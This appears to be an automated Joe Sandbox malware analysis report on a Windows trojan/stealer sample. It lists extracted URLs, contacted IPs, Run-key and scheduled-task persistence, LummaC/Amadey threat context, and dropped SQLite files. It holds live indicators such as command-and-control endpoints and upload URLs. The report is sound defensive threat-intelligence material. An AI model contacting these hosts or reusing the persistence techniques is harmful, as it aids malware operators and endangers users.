https://drive-daily-1.corp.google.com/	chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-5.corp.google.com/	chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.ico	chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000018.00000002.3128137037.000049E8004F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3129875527.000049E800734000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000018.00000002.3130311422.000049E8007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	false
http://www.w3.oh	22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.000002472329E000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3078	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7553	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5375	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://httpbin.org/ipbefore	0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	false
https://treehoneyi.click/api	03f60c0f6e.exe, 03f60c0f6e.exe, 00000009.00000003.2750553075.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2745554337.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2750254218.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5371	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127721393.000049E800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
http://foo/Resources/StoreLogo.Light.png	22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024723084000.00000004.00000800.00020000.00000000.sdmp	false
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2894296430.000049E8001E0000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000018.00000002.3128137037.000049E8004F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3129875527.000049E800734000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000C.00000002.2616123137.0000000004FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7556	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://chromewebstore.google.com/	chrome.exe, 00000018.00000002.3125319787.000049E80001C000.00000004.00000800.00020000.00000000.sdmp	false
https://treehoneyi.click/apiX	03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-preprod.corp.google.com/	chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	03f60c0f6e.exe, 00000009.00000003.2668407543.0000000003E62000.00000004.00000800.00020000.00000000.sdmp	false
https://treehoneyi.click/V	03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2775612086.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	false
https://clients4.google.com/chrome-sync	chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	false
http://anglebug.com/6692	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/258207403	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127721393.000049E800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133306125.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2917773681.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133306125.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2917773681.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3624	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133306125.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2917773681.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5007	chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000018.00000002.3127252065.000049E8003A4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3862	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.rs/getrandom#nodejs-es-module-support	03f60c0f6e.exe, 00000009.00000003.2581874523.0000000002F5C000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000000.2516420358.0000000000C4F000.00000002.00000001.01000000.0000000A.sdmp	false
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000018.00000003.2912689275.000049E800D34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2918259276.000049E800D34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2912581777.000049E800CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2917663364.000049E800CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133855353.000049E800CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2919087349.000049E800D34000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4836	chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	false
http://.css	0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	unknown	Spain	207046	REDSERVICIOES	false
172.217.19.228	unknown	United States	15169	GOOGLEUS	false
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
98.85.100.80	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
173.194.76.84	unknown	United States	15169	GOOGLEUS	false
185.199.111.133	unknown	Netherlands	54113	FASTLYUS	false
149.154.167.99	unknown	United Kingdom	62041	TELEGRAMRU	false
23.218.208.109	unknown	United States	6453	AS6453US	false
142.251.37.42	unknown	United States	15169	GOOGLEUS	false
64.233.164.84	unknown	United States	15169	GOOGLEUS	false
185.156.73.23	unknown	Russian Federation	48817	RELDAS-NETRU	false
142.251.37.163	unknown	United States	15169	GOOGLEUS	false
172.67.197.170	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
216.58.212.110	unknown	United States	15169	GOOGLEUS	false
2.20.41.184	unknown	European Union	16625	AKAMAI-ASUS	false
216.58.211.196	unknown	United States	15169	GOOGLEUS	false
172.217.19.131	unknown	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.233.83.145	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.6	unknown	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.251.37.238	unknown	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
94.130.188.57	unknown	Germany	24940	HETZNER-ASDE	false
104.21.67.146	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579322
Start date and time:	2024-12-21 16:13:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	62
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@146/120@0/29
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Execution Graph export aborted for target 03f60c0f6e.exe, PID 2688 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
10:15:03	API Interceptor	13369787x Sleep call for process: skotes.exe modified
10:15:34	API Interceptor	23x Sleep call for process: powershell.exe modified
10:15:35	API Interceptor	7x Sleep call for process: 03f60c0f6e.exe modified
10:15:42	API Interceptor	58x Sleep call for process: c534667f0b.exe modified
10:15:50	API Interceptor	99106x Sleep call for process: 0016128732.exe modified
10:15:51	API Interceptor	3x Sleep call for process: svchost.exe modified
10:16:24	API Interceptor	6235x Sleep call for process: 98d75c3c44.exe modified
10:16:26	API Interceptor	137868x Sleep call for process: fde7a493e9.exe modified
10:16:48	API Interceptor	5182x Sleep call for process: fa82de29a9.exe modified
10:17:02	API Interceptor	39x Sleep call for process: 17e7d05a4e.exe modified
15:14:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:16:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 98d75c3c44.exe C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe
15:16:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fa82de29a9.exe C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
15:16:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1a0440fbc4.exe C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe
15:16:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3c08a943ba.exe C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe
15:17:01	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
15:17:01	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
15:17:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 98d75c3c44.exe C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe
15:17:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fa82de29a9.exe C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
15:17:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1a0440fbc4.exe C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe
15:17:29	Task Scheduler	Run new task: MyBootTask path: C:\Users\user\AppData\Local\Temp\1019467001\ec04af5574.exe
15:17:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3c08a943ba.exe C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe
15:17:45	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
15:17:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe
15:18:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Graph C:\Program Files\Windows Media Player\graph\graph.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.121.15.192	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.thirtgt13pt.top/xXjBuasiAlUtxjHhtPcq1734624688
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.tentk10pt.top/HfKLHljvcctMDHZDaAmV1734701446
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pt.top/ORoWtRYgVgDaQibUWeOu1734624689
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	nshsh4.elf	Get hash	malicious	Mirai	Browse	72.228.249.11
	nshmips.elf	Get hash	malicious	Mirai	Browse	98.66.104.181
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	98.85.100.80
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.94.169.99
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	67.242.208.143
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	98.85.100.80
	mpsl.elf	Get hash	malicious	Mirai	Browse	67.247.153.213
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	98.85.100.80
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	67.247.205.129
	nshkarm.elf	Get hash	malicious	Mirai	Browse	137.36.191.186
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.16
REDSERVICIOES	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEGIJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJKECAAAFHJECAAAEBFCAEBFHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
